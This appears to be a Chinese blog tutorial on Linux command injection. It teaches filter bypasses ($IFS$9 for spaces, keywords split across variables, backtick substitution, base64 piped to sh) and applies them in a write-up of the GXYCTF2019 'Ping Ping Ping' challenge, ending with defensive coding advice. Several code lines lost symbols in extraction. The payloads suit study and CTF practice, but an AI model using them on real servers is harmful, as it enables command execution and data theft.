Linux命令执行漏洞实战:从基础Ping到CTF高级绕过技巧

📅 发布时间:2026/7/6 12:54:01 👁️ 浏览次数:
Linux命令执行漏洞实战:从基础Ping到CTF高级绕过技巧
Linux命令执行漏洞实战从基础Ping到CTF高级绕过技巧在Linux的世界里命令执行是系统交互的基石也是安全攻防的前沿阵地。许多开发者对ping、cat、ls等基础命令了如指掌却未必清楚这些看似无害的工具在特定场景下可能成为攻击者打开系统大门的钥匙。尤其是在CTFCapture The Flag竞赛和实际渗透测试中命令执行漏洞的挖掘与利用是衡量一个安全研究者实战能力的重要标尺。这篇文章我将从一个真实的渗透视角出发带你从最基础的命令执行原理开始逐步深入到那些令人拍案叫绝的绕过技巧。我们不会停留在理论层面而是结合具体的操作、代码审计和实战案例让你亲手“玩转”这些漏洞理解防御者如何设防以及攻击者如何见招拆招。无论你是希望提升Web安全技能的开发者还是对CTF竞赛跃跃欲试的新手这篇文章都将为你提供一套从入门到精通的实战指南。1. 命令执行漏洞的本质与常见入口命令执行漏洞核心在于应用程序将用户可控的数据未经充分净化就直接传递给系统shell执行。这就像把用户输入直接拼接进system()或exec()函数里给了攻击者一个在服务器上执行任意命令的机会。1.1 漏洞产生的典型场景最常见的情况发生在Web应用中。开发者为了便捷可能会调用系统命令来完成某些功能比如测试网络连通性、读取文件、打包目录等。下面是一个经典的漏洞代码示例?php $ip $_GET[ip]; system(ping -c 4 . $ip); ?这段代码的本意是让用户输入一个IP地址进行ping测试。但如果攻击者输入的不仅仅是IP地址呢比如输入127.0.0.1; ls /经过拼接后系统实际执行的命令就变成了ping -c 4 127.0.0.1; ls /分号;在Linux中是一个命令分隔符这意味着ping命令执行完毕后会继续执行ls /命令从而列出根目录下的所有文件。这就是最基础的命令注入。除了Web这类漏洞也常见于网络设备管理界面许多路由器、交换机的Web管理页面存在命令注入点。桌面应用程序某些调用系统命令的客户端软件。API接口后端服务在处理请求时不当调用系统命令。1.2 关键的命令分隔与拼接符理解攻击如何发生首先要掌握Shell中用于连接和分隔命令的特殊字符。这些字符是攻击者拼接恶意指令的“工具”。符号名称作用示例与说明;分号顺序执行。无论前一个命令成功与否都会执行下一个。command1; command2与号将命令置于后台执行并立即返回Shell提示符。command1 command2逻辑与只有前一个命令执行成功返回状态码0才执行下一个。command1 command2****管道将前一个命令的输出作为后一个命令的输入。****逻辑或** **反引号命令替换。优先执行反引号内的命令并将其输出结果替换到原位置。echowhoami 会先执行whoami然后输出结果。$()美元符号加括号同反引号是更推荐使用的命令替换方式支持嵌套。echo $(whoami)注意在实战中|管道符和反引号经常被用于更精巧的利用而不仅仅是简单的命令分隔。2. 初阶绕过当空格与关键字被过滤防守方不会坐以待毙。他们会在代码中加入过滤规则最常见的过滤目标就是空格和敏感命令关键字如cat、flag。我们的绕过之旅就从这里开始。2.1 绕过空格过滤空格是分隔命令与参数的关键。如果它被过滤例如代码中使用preg_match(/ /, $input)我们有多种替代方案。使用内部字段分隔符IFSIFS是Shell的一个环境变量默认值就包含空格、制表符、换行符。我们可以直接引用它。cat${IFS}flag.txt cat$IFS$9flag.txt # $9代表第九个参数通常为空用于闭合变量名使用重定向符号和可以将文件内容作为标准输入。catflag.txt catflag.txt使用花括号扩展{}在花括号内用逗号分隔执行时花括号会被展开逗号被忽略但参数之间会自然产生“空格”效果。{cat,flag.txt}利用变量赋值将空格或其编码赋值给一个变量然后使用该变量。X$\x20 cat${X}flag.txt # \x20是空格的十六进制表示2.2 绕过命令关键字过滤如果cat命令被过滤我们还有很多其他命令可以读取文件内容。Linux的哲学是“一切皆文件”因此查看文件的工具非常多。下面这个表格对比了部分可替代cat的命令及其特点命令主要用途查看文件示例特点与备注more分页显示文件内容more flag.txt一页一页显示空格翻页。less分页显示功能更强less flag.txt支持上下翻页、搜索比more更常用。head显示文件开头部分head -n 20 flag.txt默认显示前10行。tail显示文件末尾部分tail -n 20 flag.txt默认显示后10行常用-f跟踪日志。tac反向显示文件tac flag.txt从最后一行到第一行显示。nl显示并附加行号nl flag.txt输出时带行号。od以指定格式输出od -c flag.txt可以二进制、八进制、十六进制等格式查看能绕过某些字符过滤。sort对文件行排序sort flag.txt排序后输出也能看到内容。uniq报告或忽略重复行uniq flag.txt需要文件内容有重复行时才显差异但也能输出。file -f从文件读取文件名file -f flag.txt本意是分析文件类型但若文件不存在或内容特殊报错信息可能泄露内容。strings打印文件中可打印字符strings flag.txt提取文本字符串对二进制文件尤其有用。提示在实际CTF中出题人可能会过滤掉其中一部分命令。因此掌握越多替代方案你的绕过工具箱就越丰富。3. 中阶技巧变量拼接、内联执行与编码当简单的空格和命令替换被防御后我们需要更高级的技巧。这些方法通常结合了Shell脚本的特性。3.1 变量拼接绕过正则匹配这是对抗正则表达式过滤关键字的利器。例如题目过滤了字符串flag使用preg_match(/.*f.*l.*a.*g.*/, $input)。这个正则意味着只要f、l、a、g这几个字符按顺序出现中间可以有任意字符就会被拦截。破解方法是将flag这个字符串拆开赋值给变量然后拼接起来使用。# 假设我们想执行 cat flag.php afl;bag;cat $a$b.php # 或者更隐蔽地 cg;cat fla$c.php在Web请求中payload可能长这样/?ip127.0.0.1;cg;cat$IFS$9fla$c.php这个payload先给变量c赋值g然后拼接出flag字符串最终成功执行cat flag.php绕过了对完整单词flag的检测。3.2 内联执行命令替换的妙用内联执行即前面提到的反引号或$()。它的强大之处在于执行的优先级最高。我们可以利用它来动态生成被过滤的命令或参数。经典场景你不知道flag文件的具体名字或者cat、flag等关键字被过滤。方法A用ls的结果作为cat的参数cat ls # 或 cat $(ls)这条命令会先执行ls列出当前目录的文件例如index.php和flag.php然后将这个输出结果两个文件名作为参数传递给cat。cat会依次尝试读取这两个文件。这样我们无需在payload中显式写出flag这个词。方法B在复杂过滤下的应用假设过滤了空格和cat但没过滤sort和反引号。我们可以这样构造sortls # 实际执行顺序1. 执行 ls 得到文件名。2. 执行 sort 文件名1 文件名2。虽然sort的输出是排序后的内容但flag信息依然会包含在其中。3.3 Base64编码绕过这是一种“降维打击”的思路。如果过滤规则是针对明文字符的那么我把整个命令编码成它不认识的样子不就行了操作步骤如下本地编码命令将想要执行的命令进行Base64编码。echo cat flag.php | base64 # 输出Y2F0IGZsYWcucGhwCg构造解码执行链在目标服务器上通过管道将编码后的字符串解码并执行。echo Y2F0IGZsYWcucGhwCg | base64 -d | shecho输出编码字符串。base64 -d进行解码。sh执行解码后得到的原始命令(cat flag.php)。应用到Web漏洞中将上述命令链进行转换用$IFS$9代替空格。/?ip127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh这个payload成功绕过了对cat、flag、空格等关键字的直接过滤。4. 实战案例深度剖析[GXYCTF2019] Ping Ping Ping让我们结合一道经典的CTF题目将上述技巧融会贯通。这道题堪称命令执行绕过的“教科书”。4.1 信息收集与初步测试题目给出提示/?ip显然ip是参数。首先测试正常输入/?ip127.0.0.1页面返回ping命令的结果说明存在命令执行点。尝试注入/?ip127.0.0.1;ls成功列出目录文件发现index.php和flag.php。直接读取flag/?ip127.0.0.1;cat flag.php返回错误fxck your space!。说明空格被过滤。4.2 代码审计与过滤规则分析尝试读取index.php源码来了解过滤逻辑。使用绕过空格的方法/?ip127.0.0.1;cat$IFS$9index.php查看网页源代码得到后端PHP代码?php if(isset($_GET[ip])){ $ip $_GET[ip]; if(preg_match(/\|\/|\?|\*|\|[\x{00}-\x{1f}]|\|\|\|\\|\(|\)|\[|\]|\{|\}/, $ip, $match)){ echo preg_match(/\|\/|\?|\*|\|[\x{00}-\x{20}]|\|\|\|\\|\(|\)|\[|\]|\{|\}/, $ip, $match); die(fxck your symbol!); } else if(preg_match(/ /, $ip)){ die(fxck your space!); } else if(preg_match(/bash/, $ip)){ die(fxck your bash!); } else if(preg_match(/.*f.*l.*a.*g.*/, $ip)){ die(fxck your flag!); } $a shell_exec(ping -c 4 .$ip); echo pre; print_r($a); } ?过滤规则分析由外到内第一层过滤了大量特殊符号包括, /, ?, *, , , , , \, (, ), [, ], {, }以及控制字符\x00-\x1f。这阻止了使用、、{}等常见拼接和绕过方式。第二层过滤空格。第三层过滤字符串bash可能是为了防止反弹Shell。第四层使用正则/.*f.*l.*a.*g.*/过滤flag字符串即使中间插入其他字符也不行。关键点过滤检查通过后代码使用shell_exec(ping -c 4 .$ip)执行命令并且将结果存储在变量$a中输出。4.3 制定绕过策略我们的目标是读取flag.php。面临两大障碍1) 不能出现flag字符串2) 不能有空格。对于空格我们已经知道可以用$IFS$9绕过。对于flag字符串必须使用变量拼接或完全避免直接出现。方法一变量拼接最直接既然不能出现连续的flag我们就把它拆开。构造payload/?ip127.0.0.1;ag;cat$IFS$9fla$a.php127.0.0.1;正常执行ping。ag;定义变量a为g。cat$IFS$9fla$a.php拼接后变成cat fla g .php-cat flag.php。 这个payload成功绕过了正则匹配执行后需要查看网页源代码因为flag通常以HTML注释或PHP变量的形式存在。方法二内联执行更通用利用反引号让ls的结果作为cat的参数完全避开flag这个词。/?ip127.0.0.1;cat$IFS$9ls先执行ls得到index.php flag.php。再执行cat index.php flag.php。 这样flag.php的内容就被一并输出。同样需要查看源码获取flag。方法三Base64编码终极绕过如果上述方法都因其他过滤失效Base64编码是最后的王牌。如前所述构造长payload即可。4.4 收获与总结通过这道题我们实战演练了信息收集参数测试、目录列表。源码审计通过漏洞读取源代码理解防御逻辑。绕过设计针对性地组合使用$IFS$9绕空格、变量拼接绕关键字正则、内联执行动态参数等技术。结果获取意识到命令执行的回显可能不在页面正文而在源码中。5. 防御之道从攻击者视角看安全开发理解了如何攻击才能更好地防御。作为开发者绝对要避免将未经处理的用户输入传递给任何命令执行函数如system(),exec(),shell_exec(),passthru(), 反引号操作符。安全的实践应该包括白名单校验对于像IP地址这样的输入使用正则表达式严格限定输入格式如/^(\d{1,3}\.){3}\d{1,3}$/只允许数字和点。使用安全的API替代命令执行能用PHP的file_get_contents()就不要用cat能用scandir()就不要用ls。转义或过滤所有Shell元字符如果必须执行命令使用escapeshellarg()或escapeshellcmd()函数对用户输入进行严格转义。$safe_ip escapeshellarg($_GET[ip]); system(ping -c 4 . $safe_ip);escapeshellarg()会给参数加上单引号确保它被作为一个完整的字符串处理。降低权限运行执行命令的Web服务进程如www-data应使用最低必要的权限避免使用root权限。输入输出规范化对输入进行trim、类型转换对输出进行编码防止XSS等二次攻击。在我参与过的代码审计项目中因为命令执行漏洞导致服务器被完全控制的案例不在少数。很多漏洞就源于开发者一个“图省事”的system()调用。防御没有银弹核心在于对用户输入保持绝对的不信任并在每一处数据流动的边界进行严格的检查和净化。